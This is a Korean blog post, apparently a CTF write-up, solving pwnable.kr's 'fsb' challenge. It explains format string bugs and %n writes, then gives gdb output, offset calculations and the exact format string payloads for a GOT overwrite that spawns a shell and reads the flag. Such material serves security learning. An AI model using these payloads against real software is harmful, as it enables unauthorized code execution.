시작
안녕하세요 :D
BOB 8기 합격자 발표가 났어요!! 제 주변에도 합격자 분들이 보이네요.. 대단쓰..
저도 전역 후 9기로 꼭 들어갔으면 좋겠습니다 ㅎㅎㅎ..
그러려면 열심히 자격증 따구 삽질해야겠죠??
쉘 코드 만들기, 힙 영역 자세히 공부하기, Fake EBP, FSB 등등 할 건 엄청 많은데
JLPT가 1주일밖에 남지 않아서 정신이 없습니다ㅠㅠㅠ 한자 많다 많어..
오늘은 일본어가 무너뜨린 멘탈을 pwnable.kr의 fsb로 잡아보려고 합니다!!
항상 포맷스트링만 보면 무슨 소리지 몰라서 겁먹었는데ㅠㅠ
언젠간 해야 할 FSB잖아요. 이 문제를 통해 조금이나마 친해져보려고 합니다.
시작해보죠!!
Write UP
팁 아닌 팁?
scp -P 2222 -r fsb@pwnable.kr:~/fsb ./fsb
로 pwnbale.kr 서버의 바이너리를 가져올 수 있습니다.
Isn’t FSB almost obsolete in computer security?
Anyway, have fun with it :)ssh fsb@pwnable.kr -p2222 (pw:guest)
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
unsigned long long key;
char buf[100];
char buf2[100];
int fsb(char** argv, char** envp){
char* args[]={"/bin/sh", 0};
int i;
char*** pargv = &argv;
char*** penvp = &envp;
char** arg;
char* c;
for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
*pargv=0;
*penvp=0;
for(i=0; i<4; i++){
printf("Give me some format strings(%d)\n", i+1);
read(0, buf, 100);
printf(buf);
}
printf("Wait a sec...\n");
sleep(3);
printf("key : \n");
read(0, buf2, 100);
unsigned long long pw = strtoull(buf2, 0, 10);
if(pw == key){
printf("Congratz!\n");
execve(args[0], args, 0);
return 0;
}
printf("Incorrect key \n");
return 0;
}
int main(int argc, char* argv[], char** envp){
int fd = open("/dev/urandom", O_RDONLY);
if( fd==-1 || read(fd, &key, 8) != 8 ){
printf("Error, tell admin\n");
return 0;
}
close(fd);
alloca(0x12345 & key);
fsb(argv, envp); // exploit this format string bug!
return 0;
}
워.. 뭔가 많아요 많아
괴상한 함수들과 3중 포인터.. ㅋㅋㅋㅋㅋ 벌써 신나네요 별거 없겠죠 뭐!! ㅎㅎ
main()
을 보면 전역변수인 key
에 이상한 짓을 해요. 값을 넣는 거겠죠??
그 후 fsb()
를 호출합니다.
fsb()
에선 for
문이 4번 도는데, printf(buf)
부분에서 포맷스트링 버그가 터질 것 같네요.
여기서!! 포맷스트링 버그, FSB가 뭘까요??
C언어에서 printf()
함수를 쓸 때 %d
라덜까 %x
, %p
와 같은 것을 써보셨죠?
얘네들을 포맷스트링이라고 해요.
이 소스에선 포맷스트링을 지정하지 않고 printf(buf)
라고 해놨어요.
buf[]
에 평범한 문자열이 들어간다면 상관없겠지만 %p
와 같은 포맷스트링이 들어가면 어떻게 될까요?
그대로 buf[]
의 주소가 leak 되는 겁니다!!
이러한 포맷스트링을 이용해서 우리는 다양한 메모리들에 접근할 수 있게 됩니다.
우리가 FSB를 터뜨려야 할 때 꼭!!! 알아야하는 포맷스트링이 바로 %n
입니다.
이 녀석은 앞에 출력된 바이트 수 만큼을 특정 메모리가 가지고 있는 값에 덮어써요.
말로는 참 이해하기 힘들었습니다 이거..
예제를 보면 이해가 될 거에요!!
#include <stdio.h>
int p =0;
int main(int argc,char *argv[]) {
char buf[256];
strncpy(buf,argv[1],sizeof(buf));
printf(buf);
printf("\n%x %x\n",p,&p);
}
(소스 출처 : https://kaspyx.tistory.com/74)
root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_fsb# ./test aaaa
aaaa
0 804a028
첫 번째 인자를 buf[]
에 복사한 후 전역변수인 p
의 값과 주소를 출력합니다.printf(buf)
에서 FSB가 터져요.
root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_fsb# ./test AAAABBBBCCCCDDDD%8x,%8x,%8x
AAAABBBBCCCCDDDD41414141,42424242,43434343
0 804a028
AAAA의 값을 첫 번째 포맷스트링에서 참조하는 것을 확인할 수 있죠?
이걸 이용해 AAAA를 0x804a028
로 바꾸고 첫 번째 포맷스트링을 %n
으로 바꿔봅시다.
root@goorm:/workspace/LCH_Server/pwnable.kr/pwnable_fsb# ./test `python -c 'print "\x28\xa0\x04\x08" + "BBBBCCCCDDDD" + "%n"'`
(BBBBCCCCDDDD
10 804a028
짠!!! p의 값이 바뀌었습니다. 주소 4 bytes + B 4 + C 4 + D * 4 해서 0x10이 들어간거에요.
%n
은 앞에서 출력한 문자의 개수 만큼 특정 메모리의 값을 덮어써준다!! 이런 개념입니다.
FSB의 소소한 팁이랄까..%[num1]d%[num2]$n
와 같은 조합을 사용하면 매우!!! 편리합니다.
예를들면 %10d%20$n
은 스택의 20번째 값을 메모리로 보고, 여기에 값을 덮어씌운다!! 란 의미에요.
문제로 돌아가서
fsb()
함수 안에 포맷스트링이 터지는 부분을 브포로 잡고 달려봅시다.
![](https://k.kakaocdn.net/dn/dXFzhs/btqwoovG2tU/VdlMmYZ55Ntauk0nX2aXP0/img.png)
스택에 쓸만한 값이 없나 보니 0xffa55a40
이 있네요.
자자 포맷스트링 버그를 이용하면 저 0xffa55a40
의 메모리에 값을 씌울 수 있습니다.
저 부분에 printf@got
를 넣어두고 다시 참조, 쉘을 부르는 부분으로 got overwrite 하면 되겠네요!
gdb-peda$ p printf
$1 = {} 0x80483f0 <printf@plt>
gdb-peda$ x/3i 0x80483f0
0x80483f0 <printf@plt>: jmp DWORD PTR ds:0x804a004
0x80483f6 <printf@plt+6>: push 0x8
0x80483fb <printf@plt+11>: jmp 0x80483d0
0x804a004 = 134520836
esp에서 저 부분까지의 offset은 14니깐 %134520836d%14$n
을 해주면 0xffa55a40
에 0x804a004
가 들어갈 것입니다.
쉘을 부르는 부분의 주소는 다음과 같습니다.
0x0804869f <+363>: mov DWORD PTR [esp],0x80488ae
0x080486a6 <+370>: call 0x8048410 <puts@plt>
0x080486ab <+375>: mov eax,DWORD PTR [ebp-0x24]
0x080486ae <+378>: mov DWORD PTR [esp+0x8],0x0
0x080486b6 <+386>: lea edx,[ebp-0x24]
0x080486b9 <+389>: mov DWORD PTR [esp+0x4],edx
0x080486bd <+393>: mov DWORD PTR [esp],eax
0x080486c0 <+396>: call 0x8048450 <execve@plt>
0x804869f = 134514335
esp에서 printf@got가 쓰여진 곳 까지의 offset은 20이니깐 %134514335d%20$n
을 해주면 got overwrite가 되겠네요.
1억 3천개의 공백을 두 번 뛰어넘어.. 가봅시다.
엄청 오래걸려요
Give me some format strings(1)
%134520836d%14$n
.
.
Give me some format strings(2)
%134514335d%20$n
.
.
$ ls
flag fsb fsb.c
$ cat flag
Have you ever saw an example of utilizing [n] format character?? :(
마무리
FSB 끄으으으읕!!!
2억 6천개의 공백을 기다리다 보니 한 10분정도 쓱 지나갔네요..
오늘도 즐겁게 싸지방 포너블 했습니다!!
감사합니다 :D
'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] unlink (0) | 2019.08.30 |
---|---|
[pwnable.kr] horcruxes (0) | 2019.06.29 |
[pwnable.kr] unexploitable (0) | 2019.06.20 |
pwnable.kr : uaf 풀이 (0) | 2019.04.18 |
pwnable.kr : lotto 풀이 (0) | 2019.04.17 |